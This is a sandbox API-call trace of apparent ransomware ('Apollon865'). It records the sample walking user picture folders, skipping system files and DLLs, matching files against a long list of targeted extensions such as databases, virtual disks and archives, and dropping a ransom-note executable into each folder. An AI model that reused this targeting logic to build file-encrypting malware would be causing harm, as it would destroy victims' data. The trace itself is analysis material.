	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0040.357] lstrlenW (lpString="sas7bdat") returned 8
	[0040.357] lstrcmpiW (lpString1="NNVl.bmp", lpString2="sas7bdat") returned -1
	[0040.357] lstrlenW (lpString="sbf") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0040.357] lstrlenW (lpString="scx") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0040.357] lstrlenW (lpString="sdb") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0040.357] lstrlenW (lpString="sdc") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0040.358] lstrlenW (lpString="sdf") returned 3
	[0040.358] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0040.358] lstrlenW (lpString="sis") returned 3
	[0040.358] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0040.358] lstrlenW (lpString="spq") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0040.359] lstrlenW (lpString="te") returned 2
	[0040.359] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0040.359] lstrlenW (lpString="teacher") returned 7
	[0040.359] lstrcmpiW (lpString1="NVl.bmp", lpString2="teacher") returned -1
	[0040.359] lstrlenW (lpString="tmd") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0040.359] lstrlenW (lpString="tps") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0040.359] lstrlenW (lpString="trc") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0040.359] lstrlenW (lpString="trc") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0040.359] lstrlenW (lpString="trm") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0040.359] lstrlenW (lpString="udb") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0040.359] lstrlenW (lpString="udl") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0040.359] lstrlenW (lpString="usr") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0040.359] lstrlenW (lpString="v12") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0040.359] lstrlenW (lpString="vis") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0040.359] lstrlenW (lpString="vpd") returned 3
	[0040.359] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0040.360] lstrlenW (lpString="vvv") returned 3
	[0040.360] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0040.360] lstrlenW (lpString="wdb") returned 3
	[0040.360] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0040.360] lstrlenW (lpString="wmdb") returned 4
	[0040.360] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0040.360] lstrlenW (lpString="wrk") returned 3
	[0040.360] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0040.360] lstrlenW (lpString="xdb") returned 3
	[0040.360] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0040.360] lstrlenW (lpString="xld") returned 3
	[0040.360] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0040.360] lstrlenW (lpString="xmlff") returned 5
	[0040.360] lstrcmpiW (lpString1="l.bmp", lpString2="xmlff") returned -1
	[0040.360] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3026bbd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3026bbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.360] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.360] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8546d80, ftCreationTime.dwHighDateTime=0x1d4c5f8, ftLastAccessTime.dwLowDateTime=0x331e9a70, ftLastAccessTime.dwHighDateTime=0x1d4c94f, ftLastWriteTime.dwLowDateTime=0x331e9a70, ftLastWriteTime.dwHighDateTime=0x1d4c94f, nFileSizeHigh=0x0, nFileSizeLow=0x17b00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OZx5PV-1.gif", cAlternateFileName="")) returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="Apollon865.txt.exe") returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".") returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="..") returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="windows") returned -1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="bootmgr") returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="temp") returned -1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="pagefile.sys") returned -1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="boot") returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="ids.txt") returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="ntuser.dat") returned 1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="perflogs") returned -1
	[0040.360] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2="MSBuild") returned 1
	[0040.360] lstrlenW (lpString="OZx5PV-1.gif") returned 12
	[0040.360] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hd2FRjNaxKBP5Y_XNNVl.bmp") returned 63
	[0040.360] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="OZx5PV-1.gif" | out: lpString1="OZx5PV-1.gif") returned="OZx5PV-1.gif"
	[0040.360] lstrlenW (lpString="OZx5PV-1.gif") returned 12
	[0040.360] lstrlenW (lpString="Apollon865") returned 10
	[0040.360] lstrcmpiW (lpString1="x5PV-1.gif", lpString2="Apollon865") returned 1
	[0040.360] lstrlenW (lpString=".dll") returned 4
	[0040.361] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".dll") returned 1
	[0040.361] lstrlenW (lpString=".lnk") returned 4
	[0040.361] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".lnk") returned 1
	[0040.361] lstrlenW (lpString=".ini") returned 4
	[0040.361] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".ini") returned 1
	[0040.361] lstrlenW (lpString=".sys") returned 4
	[0040.361] lstrcmpiW (lpString1="OZx5PV-1.gif", lpString2=".sys") returned 1
	[0040.361] lstrlenW (lpString="OZx5PV-1.gif") returned 12
	[0040.361] lstrlenW (lpString="bak") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1
	[0040.361] lstrlenW (lpString="ba_") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1
	[0040.361] lstrlenW (lpString="dbb") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1
	[0040.361] lstrlenW (lpString="vmdk") returned 4
	[0040.361] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1
	[0040.361] lstrlenW (lpString="rar") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1
	[0040.361] lstrlenW (lpString="zip") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1
	[0040.361] lstrlenW (lpString="tgz") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1
	[0040.361] lstrlenW (lpString="vbox") returned 4
	[0040.361] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1
	[0040.361] lstrlenW (lpString="vdi") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1
	[0040.361] lstrlenW (lpString="vhd") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1
	[0040.361] lstrlenW (lpString="vhdx") returned 4
	[0040.361] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1
	[0040.361] lstrlenW (lpString="avhd") returned 4
	[0040.361] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1
	[0040.361] lstrlenW (lpString="db") returned 2
	[0040.361] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0040.361] lstrlenW (lpString="db2") returned 3
	[0040.361] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1
	[0040.361] lstrlenW (lpString="db3") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1
	[0040.362] lstrlenW (lpString="dbf") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1
	[0040.362] lstrlenW (lpString="mdf") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1
	[0040.362] lstrlenW (lpString="mdb") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1
	[0040.362] lstrlenW (lpString="sql") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1
	[0040.362] lstrlenW (lpString="sqlite") returned 6
	[0040.362] lstrcmpiW (lpString1="-1.gif", lpString2="sqlite") returned -1
	[0040.362] lstrlenW (lpString="sqlite3") returned 7
	[0040.362] lstrcmpiW (lpString1="V-1.gif", lpString2="sqlite3") returned 1
	[0040.362] lstrlenW (lpString="sqlitedb") returned 8
	[0040.362] lstrcmpiW (lpString1="PV-1.gif", lpString2="sqlitedb") returned -1
	[0040.362] lstrlenW (lpString="xml") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1
	[0040.362] lstrlenW (lpString="$er") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1
	[0040.362] lstrlenW (lpString="4dd") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1
	[0040.362] lstrlenW (lpString="4dl") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1
	[0040.362] lstrlenW (lpString="^^^") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1
	[0040.362] lstrlenW (lpString="abs") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1
	[0040.362] lstrlenW (lpString="abx") returned 3
	[0040.362] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1
	[0040.362] lstrlenW (lpString="accdb") returned 5
	[0040.362] lstrcmpiW (lpString1="1.gif", lpString2="accdb") returned -1
	[0040.362] lstrlenW (lpString="accdc") returned 5
	[0040.362] lstrcmpiW (lpString1="1.gif", lpString2="accdc") returned -1
	[0040.362] lstrlenW (lpString="accde") returned 5
	[0040.362] lstrcmpiW (lpString1="1.gif", lpString2="accde") returned -1
	[0040.362] lstrlenW (lpString="accdr") returned 5
	[0040.362] lstrcmpiW (lpString1="1.gif", lpString2="accdr") returned -1
	[0040.363] lstrlenW (lpString="accdt") returned 5
	[0040.363] lstrcmpiW (lpString1="1.gif", lpString2="accdt") returned -1
	[0040.363] lstrlenW (lpString="accdw") returned 5
	[0040.363] lstrcmpiW (lpString1="1.gif", lpString2="accdw") returned -1
	[0040.363] lstrlenW (lpString="accft") returned 5
	[0040.363] lstrcmpiW (lpString1="1.gif", lpString2="accft") returned -1
	[0040.363] lstrlenW (lpString="adb") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0040.363] lstrlenW (lpString="adb") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0040.363] lstrlenW (lpString="ade") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1
	[0040.363] lstrlenW (lpString="adf") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1
	[0040.363] lstrlenW (lpString="adn") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1
	[0040.363] lstrlenW (lpString="adp") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1
	[0040.363] lstrlenW (lpString="alf") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1
	[0040.363] lstrlenW (lpString="ask") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1
	[0040.363] lstrlenW (lpString="btr") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1
	[0040.363] lstrlenW (lpString="cat") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1
	[0040.363] lstrlenW (lpString="cdb") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1
	[0040.363] lstrlenW (lpString="ckp") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1
	[0040.363] lstrlenW (lpString="cma") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1
	[0040.363] lstrlenW (lpString="cpd") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1
	[0040.363] lstrlenW (lpString="dacpac") returned 6
	[0040.363] lstrcmpiW (lpString1="-1.gif", lpString2="dacpac") returned -1
	[0040.363] lstrlenW (lpString="dad") returned 3
	[0040.363] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1
	[0040.364] lstrlenW (lpString="dadiagrams") returned 10
	[0040.364] lstrcmpiW (lpString1="x5PV-1.gif", lpString2="dadiagrams") returned 1
	[0040.364] lstrlenW (lpString="daschema") returned 8
	[0040.364] lstrcmpiW (lpString1="PV-1.gif", lpString2="daschema") returned 1
	[0040.364] lstrlenW (lpString="db-journal") returned 10
	[0040.364] lstrcmpiW (lpString1="x5PV-1.gif", lpString2="db-journal") returned 1
	[0040.364] lstrlenW (lpString="db-shm") returned 6
	[0040.364] lstrcmpiW (lpString1="-1.gif", lpString2="db-shm") returned -1
	[0040.364] lstrlenW (lpString="db-wal") returned 6
	[0040.364] lstrcmpiW (lpString1="-1.gif", lpString2="db-wal") returned -1
	[0040.364] lstrlenW (lpString="dbc") returned 3
	[0040.364] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1
	[0040.364] lstrlenW (lpString="dbs") returned 3
	[0040.364] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1
	[0040.364] lstrlenW (lpString="dbt") returned 3
	[0040.364] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1
	[0040.364] lstrlenW (lpString="dbv") returned 3
	[0040.364] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1
	[0040.364] lstrlenW (lpString="dbx") returned 3
	[0040.364] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1
	[0040.364] lstrlenW (lpString="dcb") returned 3
	[0040.364] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1
	[0040.364] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="S-V8p_Ll9yKSvY" | out: lpString1="S-V8p_Ll9yKSvY") returned="S-V8p_Ll9yKSvY"
	[0040.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0040.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a998
	[0040.364] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0040.364] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b30bf0, ftCreationTime.dwHighDateTime=0x1d4c832, ftLastAccessTime.dwLowDateTime=0x6c6ac980, ftLastAccessTime.dwHighDateTime=0x1d4c62e, ftLastWriteTime.dwLowDateTime=0x6c6ac980, ftLastWriteTime.dwHighDateTime=0x1d4c62e, nFileSizeHigh=0x0, nFileSizeLow=0xd98f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vv9Uh-50BDoHhn.jpg", cAlternateFileName="VV9UH-~1.JPG")) returned 1
	[0040.364] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.364] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0040.364] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".") returned 1
	[0040.364] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="..") returned 1
	[0040.364] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="windows") returned -1
	[0040.364] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="bootmgr") returned 1
	[0040.364] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="temp") returned 1
	[0040.364] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="pagefile.sys") returned 1
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="boot") returned 1
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="ids.txt") returned 1
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="ntuser.dat") returned 1
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="perflogs") returned 1
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="MSBuild") returned 1
	[0040.365] lstrlenW (lpString="Vv9Uh-50BDoHhn.jpg") returned 18
	[0040.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY") returned 53
	[0040.365] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Vv9Uh-50BDoHhn.jpg" | out: lpString1="Vv9Uh-50BDoHhn.jpg") returned="Vv9Uh-50BDoHhn.jpg"
	[0040.365] lstrlenW (lpString="Vv9Uh-50BDoHhn.jpg") returned 18
	[0040.365] lstrlenW (lpString="Apollon865") returned 10
	[0040.365] lstrcmpiW (lpString1="BDoHhn.jpg", lpString2="Apollon865") returned 1
	[0040.365] lstrlenW (lpString=".dll") returned 4
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".dll") returned 1
	[0040.365] lstrlenW (lpString=".lnk") returned 4
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".lnk") returned 1
	[0040.365] lstrlenW (lpString=".ini") returned 4
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".ini") returned 1
	[0040.365] lstrlenW (lpString=".sys") returned 4
	[0040.365] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".sys") returned 1
	[0040.365] lstrlenW (lpString="Vv9Uh-50BDoHhn.jpg") returned 18
	[0040.365] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY"
	[0040.365] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0040.365] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0040.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY") returned 53
	[0040.365] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY"
	[0040.365] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.365] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.370] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb7c10, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.370] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.370] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.370] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.370] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb7c10, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.370] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.370] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.370] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.370] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.370] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5eda90, ftCreationTime.dwHighDateTime=0x1d4cc2c, ftLastAccessTime.dwLowDateTime=0x6d87aa90, ftLastAccessTime.dwHighDateTime=0x1d4d529, ftLastWriteTime.dwLowDateTime=0x6d87aa90, ftLastWriteTime.dwHighDateTime=0x1d4d529, nFileSizeHigh=0x0, nFileSizeLow=0x12936, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="67_2HwYFOm0qrpCHG.bmp", cAlternateFileName="67_2HW~1.BMP")) returned 1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="Apollon865.txt.exe") returned -1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".") returned 1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="..") returned 1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="windows") returned -1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="bootmgr") returned -1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="temp") returned -1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="pagefile.sys") returned -1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="boot") returned -1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="ids.txt") returned -1
	[0040.370] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="ntuser.dat") returned -1
	[0040.371] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="perflogs") returned -1
	[0040.371] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2="MSBuild") returned -1
	[0040.371] lstrlenW (lpString="67_2HwYFOm0qrpCHG.bmp") returned 21
	[0040.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\*") returned 55
	[0040.371] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="67_2HwYFOm0qrpCHG.bmp" | out: lpString1="67_2HwYFOm0qrpCHG.bmp") returned="67_2HwYFOm0qrpCHG.bmp"
	[0040.371] lstrlenW (lpString="67_2HwYFOm0qrpCHG.bmp") returned 21
	[0040.371] lstrlenW (lpString="Apollon865") returned 10
	[0040.371] lstrcmpiW (lpString1="qrpCHG.bmp", lpString2="Apollon865") returned 1
	[0040.371] lstrlenW (lpString=".dll") returned 4
	[0040.371] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".dll") returned 1
	[0040.371] lstrlenW (lpString=".lnk") returned 4
	[0040.371] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".lnk") returned 1
	[0040.371] lstrlenW (lpString=".ini") returned 4
	[0040.371] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".ini") returned 1
	[0040.371] lstrlenW (lpString=".sys") returned 4
	[0040.371] lstrcmpiW (lpString1="67_2HwYFOm0qrpCHG.bmp", lpString2=".sys") returned 1
	[0040.371] lstrlenW (lpString="67_2HwYFOm0qrpCHG.bmp") returned 21
	[0040.371] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="6bKk.png" | out: lpString1="6bKk.png") returned="6bKk.png"
	[0040.371] lstrlenW (lpString="6bKk.png") returned 8
	[0040.371] lstrlenW (lpString="Apollon865") returned 10
	[0040.371] lstrlenW (lpString=".dll") returned 4
	[0040.371] lstrcmpiW (lpString1="6bKk.png", lpString2=".dll") returned 1
	[0040.371] lstrlenW (lpString=".lnk") returned 4
	[0040.371] lstrcmpiW (lpString1="6bKk.png", lpString2=".lnk") returned 1
	[0040.371] lstrlenW (lpString=".ini") returned 4
	[0040.371] lstrcmpiW (lpString1="6bKk.png", lpString2=".ini") returned 1
	[0040.371] lstrlenW (lpString=".sys") returned 4
	[0040.371] lstrcmpiW (lpString1="6bKk.png", lpString2=".sys") returned 1
	[0040.371] lstrlenW (lpString="6bKk.png") returned 8
	[0040.371] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="99Bvs2JU.jpg" | out: lpString1="99Bvs2JU.jpg") returned="99Bvs2JU.jpg"
	[0040.371] lstrlenW (lpString="99Bvs2JU.jpg") returned 12
	[0040.371] lstrlenW (lpString="Apollon865") returned 10
	[0040.371] lstrcmpiW (lpString1="Bvs2JU.jpg", lpString2="Apollon865") returned 1
	[0040.371] lstrlenW (lpString=".dll") returned 4
	[0040.371] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".dll") returned 1
	[0040.372] lstrlenW (lpString=".lnk") returned 4
	[0040.372] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".lnk") returned 1
	[0040.372] lstrlenW (lpString=".ini") returned 4
	[0040.372] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".ini") returned 1
	[0040.372] lstrlenW (lpString=".sys") returned 4
	[0040.372] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".sys") returned 1
	[0040.372] lstrlenW (lpString="99Bvs2JU.jpg") returned 12
